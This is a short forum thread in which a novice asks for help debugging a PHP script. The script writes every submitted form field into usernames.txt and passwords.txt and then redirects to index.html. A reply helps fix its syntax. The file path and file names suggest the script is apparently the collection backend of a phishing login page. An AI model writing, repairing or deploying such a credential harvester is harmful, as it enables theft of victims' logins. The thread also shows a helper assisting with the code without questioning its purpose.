Need help with simple PHP? script thingy?

tylerh102

New Member
I keep getting this message

Parse error: syntax error, unexpected ';' in /home/securelo/public_html/post.php on line 5


here is the php file


<?php
header ('Location:index.html');
$handle = fopen("usernames.txt", "a");
foreach($_POST as $variable => $value) (
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
)
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>



Im a total newbie at this crap. help?
 
You don't need the exit at the end. However that error is caused by your foreach loop. You open and close the structure with { and } not ( and ).
 
I tried this:

*The usernames.txt & passwords.txt files come back "empty" to my cPanel....


<?php
header ('Location:index.html');
$handle = fopen("usernames.txt", "a");
$handle = fopen("passwords.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
?>
 
Back
Top